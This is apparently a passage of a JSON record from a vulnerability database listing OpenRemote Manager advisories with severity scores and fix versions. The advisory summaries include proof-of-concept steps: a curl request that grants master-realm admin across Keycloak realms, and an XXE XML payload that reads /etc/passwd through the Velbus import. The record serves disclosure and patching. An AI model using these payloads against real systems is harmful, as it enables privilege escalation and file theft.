                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "9.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T13:58:20Z/"
                        }
                    ],
                    "url": "https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39842",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39842"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-7mqr-33rv-p3mp",
                    "reference_id": "GHSA-7mqr-33rv-p3mp",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-7mqr-33rv-p3mp"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110716?format=api",
                    "purl": "pkg:maven/io.openremote/openremote-manager@1.22.0",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-mn3k-9hny-fuen"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/io.openremote/openremote-manager@1.22.0"
                }
            ],
            "aliases": [
                "CVE-2026-39842",
                "GHSA-7mqr-33rv-p3mp"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-gkzh-xabs-t7g4"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90300?format=api",
            "vulnerability_id": "VCID-mn3k-9hny-fuen",
            "summary": "OpenRemote has Improper Access Control via updateUserRealmRoles function\n### Summary\nA user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm.\n\n### Details\nIn `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they're trying to update.\n\n```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java\n    @Override\n    public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {\n        try {\n            identityService.getIdentityProvider().updateUserRealmRoles(\n                realm,\n                userId,\n                roles);\n        } catch (ClientErrorException ex) {\n            ex.printStackTrace(System.out);\n            throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());\n        } catch (Exception ex) {\n            throw new WebApplicationException(ex);\n        }\n    }\n```\n\n### PoC\n1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).\n2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (`<master-user-uuid>`).\n3. Authenticate as the user from step 1 and obtain a Bearer access token (`<token>`) for `NEW_REALM`.\n4. Replace placeholders and run:\n```bash\ncurl -k -X PUT \"https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '[\"admin\"]'\n```\n5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.\n### Impact\nAn attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41166",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06226",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06191",
                            "published_at": "2026-06-09T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0618",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06241",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0623",
                            "published_at": "2026-06-06T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41166"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/openremote/openremote"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote/releases/tag/1.22.1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "7.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-27T13:38:44Z/"
                        }
                    ],
                    "url": "https://github.com/openremote/openremote/releases/tag/1.22.1"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "7.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-27T13:38:44Z/"
                        }
                    ],
                    "url": "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41166",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41166"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-49vv-25qx-mg44",
                    "reference_id": "GHSA-49vv-25qx-mg44",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-49vv-25qx-mg44"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/111619?format=api",
                    "purl": "pkg:maven/io.openremote/openremote-manager@1.22.1",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/io.openremote/openremote-manager@1.22.1"
                }
            ],
            "aliases": [
                "CVE-2026-41166",
                "GHSA-49vv-25qx-mg44"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mn3k-9hny-fuen"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89753?format=api",
            "vulnerability_id": "VCID-xttp-sh3z-e7gb",
            "summary": "OpenRemote has XXE in Velbus Asset Import\n### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n    @Override\n    public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {\n\n        return executorService.submit(() -> {\n            Document xmlDoc;\n            try {\n                String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n                LOG.info(\"Parsing VELBUS project file\");\n\n                xmlDoc = DocumentBuilderFactory\n                    .newInstance()\n                    .newDocumentBuilder()\n                    .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n                String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n                name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n                // TODO: Use device specific asset types\n                Asset<?> device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE velbus [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<Project>\n  <Module type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\">\n    <Caption>&xxe;</Caption>\n  </Module>\n</Project>\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n<img width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" />\n\nIf the file content reaches the limit, an error is thrown.\n<img width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" />\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40882",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00076",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22835",
                            "published_at": "2026-06-09T12:55:00Z"
                        },
                        {
                            "value": "0.00076",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22943",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.00076",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22927",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00076",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22882",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00076",
                            "scoring_system": "epss",
                            "scoring_elements": "0.22831",
                            "published_at": "2026-06-08T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40882"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.6",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/openremote/openremote"
                },
                {
                    "reference_url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.6",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T13:46:44Z/"
                        }
                    ],
                    "url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40882",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.6",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40882"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-g24f-mgc3-jwwc",
                    "reference_id": "GHSA-g24f-mgc3-jwwc",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-g24f-mgc3-jwwc"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110716?format=api",
                    "purl": "pkg:maven/io.openremote/openremote-manager@1.22.0",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-mn3k-9hny-fuen"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/io.openremote/openremote-manager@1.22.0"
                }
            ],
            "aliases": [
                "CVE-2026-40882",
                "GHSA-g24f-mgc3-jwwc"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-xttp-sh3z-e7gb"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "4.5",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/io.openremote/openremote-manager@1.6.3"
}